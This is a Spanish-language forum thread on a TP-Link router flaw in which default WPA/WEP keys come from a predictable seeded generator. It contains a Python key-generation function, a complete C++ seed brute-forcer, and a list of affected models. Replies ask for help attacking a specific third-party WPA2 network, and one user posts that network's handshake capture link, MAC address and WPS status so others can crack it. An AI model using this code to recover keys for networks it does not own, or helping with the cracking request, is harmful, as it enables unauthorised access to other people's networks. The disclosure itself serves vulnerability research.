chars = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ"def gen(seed, length): #length=10 for WPA/WPA2, length=13 for WEP key = "" for i in range(length): seed = (seed)*0x343FD + 0x269EC3 key += chars[((seed >> 0x10) & 0x7FFF) % 0x28] return key
TL-W8151N (V1, V3)TL-WA730RE (V1, V2*)TL-WA830RE (V1, V2*)TL-WDR3500TL-WDR3600TL-WDR4300TL-WR720NTL-WR740N (V1, V2, V3, V4)TL-WR741ND (V1, V2, V3*,V4)TL-WR841N (V1*,V5, V7, V8)TL-WR841ND (V3, V5, V7, V8*)TL-WR842NDTL-WR940N (V1, V2)TL-WR941ND (V2, V3, V4, V5)TL-WR1043NTL-WR1043NDTD-VG3511 (V1*)TD-VG3631TD-W8901NTD-W8950NDTD-W8951NB (V3*,V4, V5)TD-W8951ND (V1, V3, V4, V5)TD-W8960N (V1, V3, V4)TD-W8961NB (V1, V2, V3*)TD-W8961NDTD-W8968TD-W8970*Posiblemente vulnerable. No he podido comprobarlo aún.
#include <iostream>#include <iomanip>#include <sstream>using namespace std;char chars [] = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ";void gen (unsigned int seed, int len, char* key){ seed -= 10; for (int i=0; i<len; i++){ seed = seed*0x343FD + 0x269EC3; key[i] = chars[((seed >> 0x10) & 0x7FFF) % 0x28]; } key[len]=0;}int main (){ cout << "+------------------------------------------------+\n"; cout << "| Checking vulnerable keys in TP-Link routers: |\n"; cout << "| TD-W8961ND | TD-W8968 | TD-W8970 |\n"; cout << "| alexaltea123@gmail.com |\n"; cout << "+------------------------------------------------+\n"; cout << "\nSelect your mode:\n"; cout << " [1] Test WPA/WPA2 keys: 10 characters.\n"; cout << " [2] Test WEP keys: 13 characters.\n"; cout << " [3] Generate keys from a seed.\n"; cout << "\nMode: "; /*Select mode: WPA/WPA2, WEP or generate keys*/ char key [14]; unsigned int length; unsigned int number = 0; cin >> number; if (number == 1) length = 10; else if (number == 2) length = 13; else if (number == 3){ while (true){ cout << "\nEnter a valid seed (in decimal): "; cin >> number; gen(number, 13, key); cout << " [*] WEP key: " << key << endl; key[10]=0; cout << " [*] WPA/WPA2 key: " << key << endl; } } else return 0; /*Enter user's key*/ char defkey [14]; cout << "Enter your key: "; cin >> defkey; /*Scanning if the key is vulnerable*/ unsigned int i; unsigned int pos; cout << "\nChecking seeds:\n"; for (i=0; i<=0x80000000; i++){ gen(i, length, key); if (i % 0x1000000 == 0){ cout << "[" << string(i/0x4000000, '#') << string(32-i/0x4000000, ' ') << "] "; cout << dec << i/21474836 << "% | Current seed: 0x"; cout << setfill('0') << setw(8) << hex << uppercase << i << "\r"; } for(pos=0; pos<length; pos++){ if (defkey[pos]!=key[pos]) break; } if (pos==length){ cout << "[################################] 100% | Current seed: 0x"; cout << setfill('0') << setw(8) << hex << uppercase << i << "\n"; cout << "\nValid seed found!\n"; cout << " [*] Seed: 0x" << setfill('0') << setw(8) << hex << i; cout << " (" << dec << i << " in decimal)\n"; cout << " [*] Key: " << key << endl; cout << "Your key is vulnerable to this attack."; break; } } if (i==0x80000001){ cout << "\n\nNo valid seed found!\n"; cout << "Your key is not vulnerable to this attack.\n"; } cout << "\n\nPress enter to exit..." << endl; cin.sync(); cin.get(); return 0;}
Interesante! se podría crear un diccionario para atacar WPA por fuerza bruta siguiendo ese patron?
Hola, alguno se da idea de como atacar una red wifi TP_LINK del tipo (TP-LINK_5FEEEAC) con seguridad wpa2Cualquier guia o tuto me vendria bien. Saludos!
Hola, tratá de capturar un cap, subilo acá y vemos que podemos hacer.
Este es el cap: https://www.mediafire.com/file/lurmcza6cdijrd0/TP-LINK_5FEEAC%20%28D4-6E-0E-5F-EE-AC%29.capNetworkName: TP-LINK_5FEEACNetwork Mac: D4:6E:0E:5F:EE:ACWPS Enabled: YesEncryption Type: WPA2AP Vendor: TP-LINK TECHNOLOGIESCO.
Autor
Tema: Vulnerabilidad de TP-Link al generar claves WPA/WPA2 (Leído 38549 veces)
